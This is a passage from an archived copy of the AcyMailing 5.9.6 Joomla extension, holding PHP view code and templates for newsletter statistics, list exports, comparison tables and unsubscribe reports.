		if(!empty($pageInfo->search) || !empty($filters) || !empty($extraJoin)){
			$queryCount .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
			if(!empty($extraJoin)) $queryCount .= $extraJoin;
		}
		if(!empty($filters)) $queryCount .= ' WHERE ('.implode(') AND (', $filters).')';

		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		if(acymailing_level(3)) {
			$tagfieldtype = acymailing_get('type.tagfield');
			$tagfieldtype->onclick = 'document.adminForm.submit();';
			$tagChoice = $tagfieldtype->display('filter_tags', 'listing', $selectedTags);
			$this->filterTag = $tagChoice;
		}

		$menuparams = new acyParameter();

		if(acymailing_isAdmin()) {
			$acyToolbar = acymailing_get('helper.toolbar');

			$acyToolbar->divider();
			$acyToolbar->custom('compare', trim(acymailing_translation('ACY_COMPARE'), '.') . (empty($_SESSION['acycomparison']) ? '' : ' (' . count($_SESSION['acycomparison']) . ')'), 'detailed-stat', false);
			$acyToolbar->custom('addcompare', acymailing_translation('ACY_ADD'), 'addcompare', true, '', acymailing_translation('ACY_ADD_COMPARE'));
			$acyToolbar->custom('resetcompare', acymailing_translation('JOOMEXT_RESET'), 'resetcompare', false);
			$acyToolbar->divider();
			$acyToolbar->custom('exportglobal', acymailing_translation('ACY_EXPORT'), 'export', false);
			if (acymailing_isAllowed($config->get('acl_statistics_delete', 'all'))) $acyToolbar->delete();
			$acyToolbar->divider();
			$acyToolbar->help('statistics');
			$acyToolbar->setTitle(acymailing_translation('GLOBAL_STATISTICS'), 'stats');
			$acyToolbar->display();
		}else {
			$menuparams = new acyParameter(array(
				'number' => 1,
				'opens' => 1,
				'clicks' => 1,
				'efficiency' => 0,
				'unsubscribe' => 1,
				'forward' => 0,
				'sent' => 1,
				'bounces' => 0,
				'failed' => 0,
				'id' => 1
			));

			$menu = acymailing_getMenu();

			if(is_object($menu)){
				$menuparams = new acyParameter($menu->params);
			}
		}

		$this->menuparams = $menuparams;
		$this->config = $config;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
		$this->filterMsg = $msgTypeChoice;
	}

	function mailinglist($export = 0){
		$mailid = acymailing_getVar('int', 'mailid');
		if(empty($mailid)) return;

		acymailing_addStyle(false, ACYMAILING_CSS.'acyprint.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acyprint.css'), 'text/css', 'print');

		$mailClass = acymailing_get('class.mail');
		$mailing = $mailClass->get($mailid);

		$mydata = array();
		$isData = true;

		if($mailing->type == 'followup'){
			$query = 'SELECT l.listid, l.name, l.color FROM #__acymailing_list l';
			$query .= ' JOIN #__acymailing_listcampaign lc ON l.listid = lc.listid';
			$query .= ' JOIN #__acymailing_listmail lm ON lc.campaignid = lm.listid';
			$query .= ' WHERE lm.mailid = '.intval($mailid).' ORDER BY l.ordering';
			$sqlRes = acymailing_loadObjectList($query);
		}else{
			$query = 'SELECT lm.listid, l.name, l.color FROM #__acymailing_list l';
			$query .= ' JOIN #__acymailing_listmail lm ON l.listid=lm.listid';
			$query .= ' WHERE lm.mailid='.intval($mailid).' ORDER BY l.ordering';
			$sqlRes = acymailing_loadObjectList($query);
		}

		if(empty($sqlRes)){
			$query = 'SELECT listid, name, color FROM #__acymailing_list';
			$query .= ' WHERE welmailid='.intval($mailid).' OR unsubmailid='.intval($mailid).' GROUP BY listid';
			$sqlRes = acymailing_loadObjectList($query);
			if(empty($sqlRes)){
				acymailing_display("This newsletter is not assigned to any list", 'warning');
				$isData = false;
				return;
			}
		}

		$arrayColors = array();
		$arrayList = array();
		foreach($sqlRes as $list){
			$mydata[$list->listid] = array();
			$mydata[$list->listid]['listid'] = $list->listid;
			$mydata[$list->listid]['listname'] = $list->name;
			$mydata[$list->listid]['nbMailSent'] = 0;
			$mydata[$list->listid]['nbHtml'] = 0;
			$mydata[$list->listid]['nbOpen'] = 0;
			$mydata[$list->listid]['nbOpenRatio'] = 0;
			$mydata[$list->listid]['nbClic'] = 0;
			$mydata[$list->listid]['nbClicRatio'] = 0;
			$mydata[$list->listid]['nbForward'] = 0;
			$mydata[$list->listid]['nbBounce'] = 0;
			$mydata[$list->listid]['nbBounceRatio'] = 0;
			$mydata[$list->listid]['nbUnsub'] = 0;
			$mydata[$list->listid]['nbUnsubRatio'] = 0;

			$mydata[$list->listid]['color'] = (!empty($list->color) ? $list->color : '#162955');
			array_push($arrayColors, (!empty($list->color) ? $list->color : '#162955'));
			array_push($arrayList, $list->listid);
		}
		$listColors = "'".implode("', '", $arrayColors)."'";
		$listListes = implode(',', $arrayList);

		$query = 'SELECT ls.listid, COUNT(*) as nbSent, SUM(IF(html=1, 1, 0)) as nbHtml, SUM(IF(open<>0, 1, 0)) as nbOpen, SUM(IF(bounce<>0, 1, 0)) as nbBounce ';
		$query .= ' FROM #__acymailing_userstats us JOIN #__acymailing_listsub ls ON us.subid = ls.subid';
		$query .= ' WHERE ls.listid IN ('.$listListes.') AND us.mailid='.intval($mailid).' GROUP BY ls.listid';
		$sqlRes = acymailing_loadObjectList($query);
		$totalSent = 0;
		if(!empty($sqlRes)){
			foreach($sqlRes as $lineRes){
				$mydata[$lineRes->listid]['nbMailSent'] = $lineRes->nbSent;
				$mydata[$lineRes->listid]['nbHtml'] = $lineRes->nbHtml;
				$mydata[$lineRes->listid]['nbOpen'] = $lineRes->nbOpen;
				$mydata[$lineRes->listid]['nbOpenRatio'] = number_format($lineRes->nbOpen / $mydata[$lineRes->listid]['nbHtml'] * 100, 1);
				$mydata[$lineRes->listid]['nbBounce'] = $lineRes->nbBounce;
				$mydata[$lineRes->listid]['nbBounceRatio'] = number_format($lineRes->nbBounce / $mydata[$lineRes->listid]['nbMailSent'] * 100, 1);
				$totalSent += $lineRes->nbSent;
			}
		}else{
			acymailing_display("No statistics recorded", 'warning');
			$isData = false;
			return;
		}

		$query = 'SELECT ls.listid, COUNT(DISTINCT(uc.subid)) AS nbClic FROM #__acymailing_urlclick as uc JOIN #__acymailing_listsub as ls ON uc.subid=ls.subid';
		$query .= ' WHERE ls.listid IN ('.$listListes.') AND uc.mailid='.intval($mailid).' GROUP BY ls.listid';
		$sqlRes = acymailing_loadObjectList($query);
		if(!empty($sqlRes)){
			foreach($sqlRes as $lineRes){
				$mydata[$lineRes->listid]['nbClic'] = $lineRes->nbClic;
				$mydata[$lineRes->listid]['nbClicRatio'] = number_format($lineRes->nbClic / $mydata[$lineRes->listid]['nbHtml'] * 100, 1);
			}
		}

		$query = 'SELECT ls.listid, SUM(IF(h.action=\'forward\', 1, 0)) as nbForward, SUM(IF(h.action=\'unsubscribed\', 1, 0)) as nbUnsub';
		$query .= ' FROM #__acymailing_history as h JOIN #__acymailing_listsub ls ON h.subid=ls.subid';
		$query .= ' WHERE ls.listid IN ('.$listListes.') AND h.mailid='.intval($mailid).' GROUP BY ls.listid';
		$sqlRes = acymailing_loadObjectList($query);
		if(!empty($sqlRes)){
			foreach($sqlRes as $lineRes){
				$mydata[$lineRes->listid]['nbForward'] = $lineRes->nbForward;
				$mydata[$lineRes->listid]['nbUnsub'] = $lineRes->nbUnsub;
				$mydata[$lineRes->listid]['nbUnsubRatio'] = number_format($lineRes->nbUnsub / $mydata[$lineRes->listid]['nbMailSent'] * 100, 1);
			}
		}

		if(acymailing_isAdmin() && acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('', acymailing_translation('ACY_EXPORT'), 'export', false, 'location.href=\''.acymailing_completeLink('stats&task=mailinglist&export=1&mailid='.acymailing_getVar('int', 'mailid'), true).'\';');
			$acyToolbar->directPrint();
			$acyToolbar->setTitle($mailing->subject);
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}
		$this->mydata = $mydata;
		$this->mailing = $mailing;
		$this->listColors = $listColors;
		$this->isData = $isData;
		$this->totalSent = $totalSent;

		if(acymailing_getVar('cmd', 'export')){
			$exportHelper = acymailing_get('helper.export');
			$config = acymailing_config();
			$encodingClass = acymailing_get('helper.encoding');

			$exportHelper->addHeaders('mailingList_'.acymailing_getVar('int', 'mailid'));

			$eol = "\r\n";
			$before = '"';
			$separator = '"'.str_replace(array('semicolon', 'comma'), array(';', ','), $config->get('export_separator', ';')).'"';
			$exportFormat = $config->get('export_format', 'UTF-8');
			$after = '"';

			$titles = array(acymailing_translation('LIST'), acymailing_translation('LIST_NAME'), acymailing_translation('ACY_SENT_EMAILS'), acymailing_translation('SENT_HTML'), acymailing_translation('OPEN'), acymailing_translation('OPEN').' (%)', acymailing_translation('CLICKED_LINK'), acymailing_translation('CLICKED_LINK').' (%)', acymailing_translation('FORWARDED'), acymailing_translation('BOUNCES'), acymailing_translation('BOUNCES').' (%)', acymailing_translation('UNSUBSCRIBED'), acymailing_translation('UNSUBSCRIBED').' (%)', acymailing_translation('COLOUR'));
			$titleLine = $before.implode($separator, $titles).$after.$eol;
			echo $titleLine;

			foreach($mydata as $listid => $listDetails){
				$line = '';
				foreach($listDetails as $name => $value){
					$line .= $value.$separator;
				}
				$line = substr($line, 0, strlen($line) - strlen($separator));
				$line = $before.$encodingClass->change($line, 'UTF-8', $exportFormat).$after.$eol;
				echo $line;
			}
			exit;
		}
	}

	function compare(){
		if(empty($_SESSION['acycomparison'])){
			acymailing_enqueueMessage(acymailing_translation('ACY_MIN_COMPARE'), 'info');
			acymailing_redirect(acymailing_completeLink('stats', false, true));
			return;
		}

		acymailing_arrayToInteger($_SESSION['acycomparison']);

		$rows = acymailing_loadObjectList('SELECT stats.*, mail.subject, mail.alias 
							FROM '.acymailing_table('stats').' AS stats 
							JOIN '.acymailing_table('mail').' AS mail 
								ON stats.mailid = mail.mailid 
							WHERE stats.mailid IN ('.implode(',', $_SESSION['acycomparison']).')');

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->custom('exportglobal', acymailing_translation('ACY_EXPORT'), 'export', false);
		$acyToolbar->custom('resetcompare', acymailing_translation('JOOMEXT_RESET'), 'resetcompare', false);
		$acyToolbar->cancel();
		$acyToolbar->divider();
		$acyToolbar->help('compare');
		$acyToolbar->setTitle(acymailing_translation('ACY_COMPARE_PAGE'), 'stats&task=compare');
		$acyToolbar->display();

		$this->rows = $rows;
	}
}
com_acymailing/views/stats/index.html000060400000000054152455305300014004 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/stats/tmpl/unsubchart.php000060400000003172152455305300015656 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php if(empty($this->unsubreasons)) return; ?>
<script language="JavaScript" type="text/javascript">
	function drawChart(){
		var dataTable = new google.visualization.DataTable();
		dataTable.addColumn('string');
		dataTable.addColumn('number');

		<?php
		$i = 0;
		$numberReasons = count($this->unsubreasons);
		foreach($this->unsubreasons as $oneRule => $total ){
				if($total < 2 && $numberReasons > 10) continue;
			?>
		dataTable.addRows(1);
		dataTable.setValue(<?php echo $i ?>, 0, '<?php echo addslashes($oneRule); ?>');
		dataTable.setValue(<?php echo $i ?>, 1, <?php echo intval($total); ?>);
		<?php 	$i++;
		} ?>

		var vis = new google.visualization.ColumnChart(document.getElementById('unsubchart'));
		var options = {
			width: '100%', height: 400, is3D: true, legendTextStyle: {color: '#333333'}, legend: 'none'
		};
		vis.draw(dataTable, options);
	}
	google.load("visualization", "1", {packages: ["corechart"]});
	google.setOnLoadCallback(drawChart);
</script>
<div id="acy_content">
	<div id="iframedoc"></div>
	<div id="unsubchart"></div>
	<table id="unsublist" class="adminlist table table-striped">
		<?php

		arsort($this->unsubreasons);
		foreach($this->unsubreasons as $oneRule => $total){
			if(preg_match('#^[A-Z_]*$#', $oneRule)) $oneRule = acymailing_translation($oneRule);
			echo '<tr><td>'.$total.'</td><td>'.$oneRule.'</td></tr>';
		}
		?>
	</table>
</div>
com_acymailing/views/stats/tmpl/detaillisting.php000060400000014512152455305300016334 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<?php if(!acymailing_isAdmin()) include(dirname(__FILE__).DS.'menu.detaillisting.php') ?>
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats', acymailing_isNoTemplate()); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<tr>
				<td>
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td class="tablegroup_options">
					<?php echo $this->filters->status; ?>
					<?php echo $this->filters->mail; ?>
					<?php echo $this->filters->bounce; ?>
				</td>
			</tr>
		</table>

		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titledate">
					<?php echo acymailing_gridSort(acymailing_translation('SEND_DATE'), 'a.senddate', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
				<?php $selectedMail = acymailing_getVar('int', 'filter_mail');
				if(empty($selectedMail)){ ?>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'b.subject', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
					</th>
				<?php } ?>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_USER'), 'c.email', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('RECEIVED_VERSION'), 'a.html', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('OPEN'), 'a.open', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
				<th class="title titledate">
					<?php echo acymailing_gridSort(acymailing_translation('OPEN_DATE'), 'a.opendate', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
				<?php if(acymailing_level(3)){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('BOUNCES'), 'a.bounce', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
					</th>
				<?php } ?>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_SENT'), 'a.sent', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, acymailing_getVar('cmd', 'task')); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="10">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;
			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];
				$row->subject = acyEmoji::Decode($row->subject);
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $this->pagination->getRowOffset($i); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo acymailing_getDate($row->senddate); ?>
					</td>
					<?php if(empty($selectedMail)){ ?>
						<td>
							<?php
							$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->mailid;
							$text .= '<br /><b>'.acymailing_translation('JOOMEXT_ALIAS').' : </b>'.$row->alias;

							if($row->type == 'followup'){
								$ctrl = 'followup';
							}else{
								$ctrl = 'newsletter';
							}
							echo acymailing_tooltip($text, $row->subject, '', $row->subject, acymailing_completeLink($ctrl.'&task=preview&mailid='.$row->mailid));
							?>
						</td>
					<?php } ?>
					<td>
						<?php
						$text = '<b>'.acymailing_translation('ACY_NAME').' : </b>'.$row->name;
						$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->subid;
						$link = acymailing_isNoTemplate() ? '' : acymailing_completeLink('subscriber&task=edit&subid='.$row->subid);
						echo acymailing_tooltip($text, $row->email, '', $row->name.' ( '.$row->email.' )', $link);
						?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->html ? acymailing_translation('HTML') : acymailing_translation('JOOMEXT_TEXT'); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->open; ?>
					</td>
					<td align="center" style="text-align:center">
						<?php if(!empty($row->opendate)) echo acymailing_getDate($row->opendate); ?>
					</td>
					<?php if(acymailing_level(3)){ ?>
						<td align="center" style="text-align:center">
							<?php
							if($row->bounce == 0){
								echo $row->bounce;
							}else{
								if(empty($row->bouncerule)){
									$text = acymailing_translation('NO_RULE_SAVED');
								}else{
									$found = preg_match('#^([A-Z0-9_]*) \[#Uis', $row->bouncerule, $match);
									$text = $found ? str_replace($match[1], acymailing_translation($match[1]), $row->bouncerule) : $row->bouncerule;
								}
								echo acymailing_tooltip($text, acymailing_translation('ACY_RULE'), '', $row->bounce);
							} ?>
						</td>
					<?php } ?>
					<td align="center" style="text-align:center" title="<?php echo acymailing_translation('ACY_SENT').': '.$row->sent.' - '.acymailing_translation('FAILED').': '.$row->fail; ?>">
						<?php echo $this->toggleClass->display('visible', empty($row->fail) ? true : false); ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>

		<input type="hidden" name="defaulttask" value="detaillisting"/>

		<?php acymailing_formOptions($this->pageInfo->filter->order);
		if(acymailing_getVar('int', 'listid')){ ?>
			<input type="hidden" name="listid" value="<?php echo acymailing_getVar('int', 'listid'); ?>"/>
		<?php } ?>
	</form>
</div>
com_acymailing/views/stats/tmpl/index.html000060400000000054152455305300014760 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/stats/tmpl/compare.php000060400000015046152455305300015131 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
    <div id="iframedoc"></div>
    <form action="<?php echo acymailing_completeLink('stats'); ?>" method="post" name="adminForm" id="adminForm" style="text-align: center;">
        <div class="onelineblockoptions">
            <table class="acymailing_table">

            <?php
            $properties = array('JOOMEXT_SUBJECT','SEND_DATE','ACY_SENT','OPEN','CLICKED_LINK','ACY_CLICK_EFFICIENCY','UNSUBSCRIBE','FORWARDED','BOUNCES','FAILED');

            foreach($properties as $oneProp){
                echo '<tr><td>'.acymailing_translation($oneProp).'</td>';
                for($i = 0, $a = count($this->rows); $i < $a; $i++) {
                    $row =& $this->rows[$i];
                    $cleanSent = $row->senthtml + $row->senttext - $row->bounceunique;

                    if($oneProp != 'JOOMEXT_SUBJECT') echo '<td>';

                    if($oneProp == 'JOOMEXT_SUBJECT'){
                        echo '<td style="width: '.(100/(count($this->rows)+1)).'%;">';
                        $row->subject = acyEmoji::Decode($row->subject); ?>
                        <input type="hidden" name="cid[]" value="<?php echo $row->mailid; ?>">
                        <?php echo acymailing_popup(acymailing_completeLink('diagram&task=mailing&mailid='.$row->mailid, true), strlen($row->subject) > 30 ? acymailing_tooltip($row->subject, '', '', substr($row->subject, 0, 30).'...') : $row->subject, '', 800, 590); ?>
                    <?php }elseif($oneProp == 'SEND_DATE'){ ?>
                        <span style="font-size: 10px;"><?php echo acymailing_getDate($row->senddate); ?></span>
                    <?php }elseif($oneProp == 'ACY_SENT'){ ?>
                        <?php $text = '<b>'.acymailing_translation('HTML').' : </b>'.$row->senthtml;
                        $text .= '<br /><b>'.acymailing_translation('JOOMEXT_TEXT').' : </b>'.$row->senttext;
                        $title = acymailing_translation('ACY_SENT');
                        echo acymailing_tooltip($text, $title, '', $row->senthtml + $row->senttext, acymailing_completeLink('stats&task=detaillisting&filter_status=0&filter_mail='.$row->mailid)); ?>
                    <?php }elseif($oneProp == 'OPEN'){
                        if(!empty($row->senthtml)){
                            $text = '<b>'.acymailing_translation('OPEN_UNIQUE').' : </b>'.$row->openunique.' / '.$cleanSent;
                            $text .= '<br /><b>'.acymailing_translation('OPEN_TOTAL').' : </b>'.$row->opentotal;
                            $pourcent = ($cleanSent == 0 ? '0%' : (substr($row->openunique / $cleanSent * 100, 0, 5)).'%');
                            $title = acymailing_translation_sprintf('PERCENT_OPEN', $pourcent);
                            echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink('stats&task=detaillisting&filter_status=open&filter_mail='.$row->mailid));
                        }
                    }elseif($oneProp == 'CLICKED_LINK'){
                        $text = '<b>'.acymailing_translation('UNIQUE_HITS').' : </b>'.$row->clickunique.' / '.$cleanSent;
                        $text .= '<br /><b>'.acymailing_translation('TOTAL_HITS').' : </b>'.$row->clicktotal;
                        $pourcent = ($cleanSent == 0 ? '0%' : (substr($row->clickunique / $cleanSent * 100, 0, 5)).'%');
                        $title = acymailing_translation_sprintf('PERCENT_CLICK', $pourcent);
                        echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink('statsurl&filter_mail='.$row->mailid));
                    }elseif($oneProp == 'ACY_CLICK_EFFICIENCY'){
                        $text = '<b>'.acymailing_translation('UNIQUE_HITS').' : </b>'.$row->clickunique.' / '.$row->openunique;
                        $text .= '<br /><b>'.acymailing_translation('OPEN_UNIQUE').' : </b>'.$row->openunique;
                        $pourcentEfficiency = ($row->openunique == 0 ? '0%' : (substr($row->clickunique / $row->openunique * 100, 0, 5)).'%');
                        $title = acymailing_translation_sprintf('ACY_CLICK_EFFICIENCY_DESC', $pourcentEfficiency);
                        echo acymailing_tooltip($text, $title, '', $pourcentEfficiency, acymailing_completeLink('statsurl&filter_mail='.$row->mailid));
                    }elseif($oneProp == 'UNSUBSCRIBE'){
                        echo acymailing_popup(acymailing_completeLink('stats&task=unsubchart&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i>', '', 800, 590);
                        $pourcent = ($cleanSent == 0) ? '0%' : (substr($row->unsub / $cleanSent * 100, 0, 5)).'%';
                        $text = $row->unsub.' / '.$cleanSent;
                        $title = acymailing_translation('UNSUBSCRIBE');
                        echo acymailing_popup(acymailing_completeLink('stats&start=0&task=unsubscribed&filter_mail='.$row->mailid, true), acymailing_tooltip($text, $title, '', $pourcent), '', 800, 590);
                    }elseif($oneProp == 'FORWARDED'){
                        echo acymailing_popup(acymailing_completeLink('stats&start=0&task=forward&filter_mail='.$row->mailid, true), $row->forward, '', 800, 590);
                    }elseif($oneProp == 'BOUNCES'){
                        echo acymailing_popup(acymailing_completeLink('bounces&task=chart&mailid='.$row->mailid, true), '<i class="acyicon-statistic"></i>', '', 800, 590);
                        $text = $row->bounceunique.' / '.($row->senthtml + $row->senttext);
                        $title = acymailing_translation('BOUNCES');
                        $pourcent = (empty($row->senthtml) AND empty($row->senttext)) ? '0%' : (substr($row->bounceunique / ($row->senthtml + $row->senttext) * 100, 0, 5)).'%';
                        echo acymailing_tooltip($text, $title, '', $pourcent, acymailing_completeLink('stats&task=detaillisting&filter_status=bounce&filter_mail='.$row->mailid));
                    }else{ ?>
                        <a href="<?php echo acymailing_completeLink('stats&task=detaillisting&filter_status=failed&filter_mail='.$row->mailid); ?>">
                            <?php echo $row->fail; ?>
                        </a>
                    <?php }

                    echo '</td>';
                }
                echo '</tr>';
            }
            ?>
            </table>
        </div>
        <?php acymailing_formOptions(); ?>
    </form>
</div>
com_acymailing/views/stats/tmpl/unsubscribed.php000060400000010432152455305300016165 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats', true); ?>" method="post" name="adminForm" id="adminForm">
		<?php if(!acymailing_isAdmin()){ ?>
			<fieldset class="acyheaderarea">
				<?php if(!empty($this->rows[0]->subject)) $this->rows[0]->subject = acyEmoji::Decode($this->rows[0]->subject); ?>
				<div class="acyheader icon-48-stats" style="float: left;"><?php echo(!empty($this->rows) ? $this->rows[0]->subject : acymailing_translation('UNSUBSCRIBECAPTION')); ?></div>
				<div class="toolbar" id="toolbar" style="float: right;">
					<table>
						<tr>
							<?php if(acymailing_isNoTemplate() && !empty($this->rows)){ ?>
								<td><a onclick="acymailing.submitbutton('export<?php echo ucfirst(acymailing_getVar('cmd', 'task')); ?>'); return false;" href="#"><span class="icon-32-acyexport" title="<?php echo acymailing_translation('ACY_EXPORT', true); ?>"></span><?php echo acymailing_translation('ACY_EXPORT'); ?></a></td>
								<td>
								</td>
							<?php } ?>
							<?php if(acymailing_getVar('int', 'fromdetail') == 1){ ?>
								<td><a href="<?php echo acymailing_completeLink('frontdiagram&task=mailing&mailid='.acymailing_getVar('int', 'filter_mail'), true); ?>"><span class="icon-32-cancel" title="<?php echo acymailing_translation('ACY_CANCEL', true); ?>"></span><?php echo acymailing_translation('ACY_CANCEL'); ?></a></td>
							<?php } ?>
						</tr>
					</table>
				</div>
			</fieldset>
		<?php } ?>


		<table class="acymailing_table_options ">
			<tr>
				<td width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td style="padding-left: 15px;">
					<?php echo $this->filterMail; ?>
				</td>
			</tr>
		</table>

		<table class="acymailing_table" cellspacing="1" align="center">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titledate">
					<?php echo acymailing_gridSort(acymailing_translation('FIELD_DATE'), 'a.date', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_USER'), 'c.email', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title">
					<?php echo acymailing_translation('ACY_DETAILS'); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="4">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;
			$i = 0;
			foreach($this->rows as $row){
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" valign="top">
						<?php echo $i + 1; ?>
					</td>
					<td align="center" valign="top">
						<?php echo acymailing_getDate($row->date); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php
						$text = '<b>'.acymailing_translation('ACY_NAME').' : </b>'.$row->name;
						$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->subid;
						echo acymailing_tooltip($text, $row->email, '', $row->email);
						?>
					</td>
					<td valign="top">
						<?php
						$data = explode("\n", $row->data);
						foreach($data as $value){
							if(!strpos($value, '::')){
								echo $value;
								continue;
							}
							list($part1, $part2) = explode("::", $value);
							if(empty($part2)) continue;
							if(preg_match('#^[A-Z_]*$#', $part2)) $part2 = acymailing_translation($part2);
							echo '<b>'.acymailing_translation($part1).' : </b>'.$part2.'<br />';
						}
						?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
				$i++;
			}
			?>
			</tbody>
		</table>

		<input type="hidden" name="defaulttask" value="<?php echo acymailing_getVar('cmd', 'task'); ?>"/>
		<input type="hidden" name="fromdetail" value="<?php echo acymailing_getVar('int', 'fromdetail'); ?>"/>
		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>
com_acymailing/views/stats/tmpl/menu.mailinglist.php000060400000002064152455305300016756 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><fieldset class="acyheaderarea">
	<div class="acyheader icon-48-stats" style="float: left;"><?php echo $this->mailing->subject; ?></div>
	<div class="toolbar" id="toolbar" style="float: right;">
		<table>
			<tr>
				<td><a href="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl').'&task=mailinglist&export=1&mailid='.acymailing_getVar('int', 'mailid'), true); ?>"><span class="icon-32-acyexport" title="<?php echo acymailing_translation('ACY_EXPORT', true); ?>"></span><?php echo acymailing_translation('ACY_EXPORT'); ?></a></td>
				<td><a onclick="window.print(); return false;" href="#"><span class="icon-32-acyprint" title="<?php echo acymailing_translation('ACY_PRINT', true); ?>"></span><?php echo acymailing_translation('ACY_PRINT'); ?></a></td>
			</tr>
		</table>
	</div>
</fieldset>
com_acymailing/views/stats/tmpl/listing.php000060400000033042152455305300015150 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
